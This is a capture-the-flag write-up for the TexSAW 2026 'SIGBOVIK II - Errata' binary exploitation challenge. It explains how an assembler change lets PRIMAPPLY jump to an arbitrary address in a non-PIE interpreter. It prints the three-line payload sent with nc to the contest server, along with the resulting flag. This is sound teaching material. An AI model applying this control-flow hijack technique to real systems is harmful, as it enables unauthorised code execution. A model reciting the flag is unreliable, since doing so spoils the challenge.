548 words
3 minutes
TexSAW 2026 - SIGBOVIK II - Errata - Binary Exploitation Writeup

Category: Binary Exploitation Flag: texsaw{primapply_ftw_02934801932840981203498}

Challenge Description#

We had to make some last minute changes to our assembler, sorry!

Analysis#

The challenge shipped an amd64 interpreter plus separate assembler and compiler archives, which immediately suggested that the interesting bug was probably in the language pipeline rather than in a normal ELF parser bug. Running file on the interpreter confirmed that it was a stripped, statically linked 64-bit ELF, so the fastest route was to look for the custom instruction names and any obvious flag-reading helper baked into the binary.

file ~/Downloads/SIGBOVIK_II/interpreter
/home/rei/Downloads/SIGBOVIK_II/interpreter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=ce61a0efd47b1fe925f36207d8bda96812530d16, stripped

The interpreter still exposes the instruction names in its strings, including PRIMAPPLY, LOAD, DONE, and even flag.txt, which is a huge hint that there is a built-in code path that opens the flag file.

strings ~/Downloads/SIGBOVIK_II/interpreter | rg -i 'flag|primapply|load|done|null'
flag.txt
.text.load
.text.nullp
.text.primapply
.text.done

Looking at the assembler source revealed the real “errata.” In the PRIMAPPLY case, the original mnemonic lookup had been commented out and replaced with int(m, 16).to_bytes(8, "little"). That means the assembler no longer restricts PRIMAPPLY to known primitive names; it now accepts any hex address and places it directly into the instruction’s immediate field.

match split_line:
    case ["LOAD", v]:
        immediate = serialize_immediate(parse_immediate(v))
    case ["JUMP", v]:
        immediate = int(v).to_bytes(8, "little")
    case ["CJUMP", v]:
        immediate = int(v).to_bytes(8, "little")
    case ["PRIMAPPLY", m]:
        #immediate = opcode_from_mnemonic(m).to_bytes(8, "little")
        immediate = int(m, 16).to_bytes(8, "little")

The program headers also showed the interpreter is non-PIE, which makes hardcoded code addresses stable and usable directly in the payload.

readelf -l ~/Downloads/SIGBOVIK_II/interpreter
Elf file type is EXEC (Executable file)
Entry point 0x8008000
There are 41 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
  LOAD           0x0000000000001000 0x000000000050b000 0x000000000050b000
  LOAD           0x0000000000002000 0x00000000009e7000 0x00000000009e7000
  LOAD           0x0000000000003000 0x0000000000a55000 0x0000000000a55000
  LOAD           0x0000000000004000 0x0000000000add000 0x0000000000add000
  LOAD           0x0000000000005000 0x0000000000ca7000 0x0000000000ca7000
  LOAD           0x0000000000006000 0x00000000010ad000 0x00000000010ad000

From there the exploit path matches the threaded-interpreter idea from SIGBOVIK I: use the custom VM itself as the control-flow primitive. The important address was the flag-reading helper at 0x8008570, but entering at the first byte would execute push rbp, which writes to the read-only return stack used by the interpreter. The fix is to land at 0x8008571 instead, skipping the prologue write while still reaching the code that opens flag.txt, reads it, and writes it to stdout.

The other half of the bug is in PRIMAPPLY itself. Its handler checks whether the top of the data stack is the null marker 0x2f; if so, it skips normal argument processing and jumps straight to the address loaded from the instruction immediate. That makes a tiny payload enough: push NULL, then PRIMAPPLY to 0x8008571, then terminate.

r2 -q -c 'aaa; s 0x9A99000; pd 30' ~/Downloads/SIGBOVIK_II/interpreter 2>/dev/null
0x09a99000      mov rdx, qword [rsp - 8]
0x09a99012      cmp qword [rbx], 0x2f
0x09a99016      je 0x9a99059
0x09a99059      lea rbx, [rbx + 8]
0x09a99068      jmp rdx

That turns the whole challenge into an elegant three-line assembly program. LOAD NULL places the null marker on the data stack, PRIMAPPLY 0x8008571 injects the arbitrary jump target through the assembler bug, and DONE ends the bytecode stream. The service prints a couple of status lines, then the flag, and only crashes afterward, which is fine because the useful work has already happened.

Solution#

timeout 15 bash -c 'echo -e "LOAD NULL\nPRIMAPPLY 0x8008571\nDONE"; sleep 5' | nc 143.198.163.4 1901
1
2
texsaw{primapply_ftw_02934801932840981203498}
/app/run: line 8:     3 Segmentation fault      ./interpreter/interpreter < /tmp/asm
TexSAW 2026 - SIGBOVIK II - Errata - Binary Exploitation Writeup
https://blog.rei.my.id/posts/129/texsaw-2026-sigbovik-ii-errata-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-30
License
CC BY-NC-SA 4.0